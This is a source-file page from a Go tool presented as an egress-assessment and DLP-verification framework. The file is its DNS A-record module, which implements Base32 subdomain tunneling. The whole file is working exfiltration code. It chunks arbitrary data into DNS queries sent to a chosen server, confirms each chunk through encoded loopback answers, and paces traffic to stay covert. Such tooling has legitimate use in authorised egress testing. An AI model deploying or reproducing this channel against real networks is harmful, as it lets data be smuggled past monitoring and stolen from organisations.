● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / dns / dns_a.go
← Back to directory
210 lines · 5.5 KB
Raw
1package dns
2
3import (
4 "context"
5 "crypto/sha256"
6 "encoding/base32"
7 "encoding/hex"
8 "errors"
9 "fmt"
10 "io"
11 "net"
12 "strconv"
13 "strings"
14 "time"
15
16 mdns "github.com/miekg/dns"
17 "github.com/shehzade/contraband/pkg/client/exfil"
18 "github.com/shehzade/contraband/pkg/common"
19)
20
21// DNSAExfiltrator implements Base32 subdomain tunneling over DNS Type A queries.
22type DNSAExfiltrator struct{}
23
24func NewDNSAExfiltrator() *DNSAExfiltrator {
25 return &DNSAExfiltrator{}
26}
27
28func init() {
29 exfil.RegisterExfiltrator(common.ProtoDNSA, NewDNSAExfiltrator())
30}
31
32func (e *DNSAExfiltrator) Protocol() string {
33 return common.ProtoDNSA
34}
35
36func (e *DNSAExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
37 if err := opts.Validate(); err != nil {
38 return nil, err
39 }
40
41 start := time.Now().UTC()
42 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
43 if err != nil {
44 return nil, err
45 }
46 result.Timestamps.StartTCP = start
47 result.PayloadType = opts.PayloadType
48 result.CarrierType = opts.CarrierType
49
50 payload, err := io.ReadAll(reader)
51 if err != nil {
52 return nil, fmt.Errorf("failed to read payload: %w", err)
53 }
54 result.TargetVolume = int64(len(payload))
55
56 if opts.ExpectedHash == "" {
57 h := sha256.Sum256(payload)
58 opts.ExpectedHash = hex.EncodeToString(h[:])
59 }
60 result.PayloadHash = opts.ExpectedHash
61
62 if opts.SessionToken.IsZero() {
63 tok, tokErr := common.NewSessionToken()
64 if tokErr != nil {
65 return nil, tokErr
66 }
67 opts.SessionToken = tok
68 }
69
70 // RFC 1035 label limit <= 63 chars. 32 raw bytes -> 52 base32 characters.
71 dnsChunkSize := 32
72 if opts.ChunkSize > 0 && opts.ChunkSize < 32 {
73 dnsChunkSize = opts.ChunkSize
74 }
75
76 var rawChunks [][]byte
77 if len(payload) == 0 {
78 rawChunks = [][]byte{{}}
79 } else {
80 for i := 0; i < len(payload); i += dnsChunkSize {
81 end := i + dnsChunkSize
82 if end > len(payload) {
83 end = len(payload)
84 }
85 rawChunks = append(rawChunks, payload[i:end])
86 }
87 }
88 totalChunks := uint32(len(rawChunks))
89
90 domain := opts.Headers["domain"]
91 if domain == "" {
92 domain = "contraband.local"
93 }
94 domain = strings.TrimSuffix(domain, ".")
95
96 client := &mdns.Client{
97 Timeout: opts.Timeout,
98 Net: "udp",
99 }
100
101 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
102 b32Enc := base32.StdEncoding.WithPadding(base32.NoPadding)
103
104 result.Timestamps.ConnectedTCP = time.Now().UTC()
105 result.Timestamps.FirstByteSent = time.Now().UTC()
106
107 for seq := uint32(1); seq <= totalChunks; seq++ {
108 chunkData := rawChunks[seq-1]
109 b32Chunk := b32Enc.EncodeToString(chunkData)
110 if b32Chunk == "" {
111 b32Chunk = "A" // single placeholder for empty payload
112 }
113
114 fqdn := fmt.Sprintf("%d.%d.%s.%s.%s.", seq, totalChunks, opts.SessionToken.String(), b32Chunk, domain)
115 if len(fqdn) > 255 {
116 result.Verdict = common.VerdictBlockedL7
117 result.ErrorMessage = fmt.Sprintf("constructed FQDN exceeds 253 characters: length %d", len(fqdn))
118 calculateDurations(&result)
119 return &result, errors.New(result.ErrorMessage)
120 }
121
122 msg := new(mdns.Msg)
123 msg.SetQuestion(fqdn, mdns.TypeA)
124 msg.RecursionDesired = false
125
126 resp, _, exErr := client.ExchangeContext(ctx, msg, targetAddr)
127 if exErr != nil {
128 result.Verdict = classifyError(exErr)
129 result.ErrorMessage = exErr.Error()
130 calculateDurations(&result)
131 return &result, exErr
132 }
133
134 result.BytesSent += int64(len(fqdn))
135 if resp == nil || len(resp.Answer) == 0 {
136 result.Verdict = common.VerdictBlockedL7
137 result.ErrorMessage = fmt.Sprintf("no A record answer received for chunk %d", seq)
138 calculateDurations(&result)
139 return &result, errors.New(result.ErrorMessage)
140 }
141
142 // Verify loopback sequence ACK
143 var ackConfirmed bool
144 for _, ans := range resp.Answer {
145 if aRecord, ok := ans.(*mdns.A); ok && aRecord.A != nil {
146 ip := aRecord.A.To4()
147 if ip != nil && ip[0] == 127 {
148 ackSeq := uint32(ip[1])<<16 | uint32(ip[2])<<8 | uint32(ip[3])
149 if ackSeq == seq {
150 ackConfirmed = true
151 result.BytesRecv += 4
152 break
153 }
154 }
155 }
156 }
157
158 if !ackConfirmed {
159 result.Verdict = common.VerdictBlockedL7
160 result.ErrorMessage = fmt.Sprintf("invalid sequence ACK for chunk %d", seq)
161 calculateDurations(&result)
162 return &result, errors.New(result.ErrorMessage)
163 }
164
165 // Rate limiting / cadence pacing
166 if opts.Shaper != nil {
167 if err := opts.Shaper.WaitN(ctx, len(chunkData)); err != nil {
168 result.Verdict = classifyError(err)
169 result.ErrorMessage = err.Error()
170 calculateDurations(&result)
171 return &result, err
172 }
173 }
174 if opts.Cadence != nil {
175 delay := opts.Cadence.NextDelay()
176 if delay > 0 {
177 select {
178 case <-time.After(delay):
179 case <-ctx.Done():
180 result.Verdict = classifyError(ctx.Err())
181 result.ErrorMessage = ctx.Err().Error()
182 calculateDurations(&result)
183 return &result, ctx.Err()
184 }
185 }
186 }
187 }
188
189 result.Timestamps.AckReceived = time.Now().UTC()
190 result.Timestamps.TeardownDone = time.Now().UTC()
191 result.Verdict = common.VerdictSuccess
192 result.RawEvidence = common.FormatBoundedRawEvidence(payload)
193
194 calculateDurations(&result)
195 return &result, nil
196}
197
198func calculateDurations(r *common.ProbeResult) {
199 if r.Timestamps.TeardownDone.IsZero() {
200 r.Timestamps.TeardownDone = time.Now().UTC()
201 }
202 r.Timestamps.ComputeDurations()
203 if r.Timestamps.TransferDuration > 0 && r.BytesSent > 0 {
204 r.ThroughputBps = float64(r.BytesSent*8) / (float64(r.Timestamps.TransferDuration) / float64(time.Second)) / 1000.0
205 }
206}
207
208func classifyError(err error) common.Verdict {
209 return common.ClassifyError(err)
210}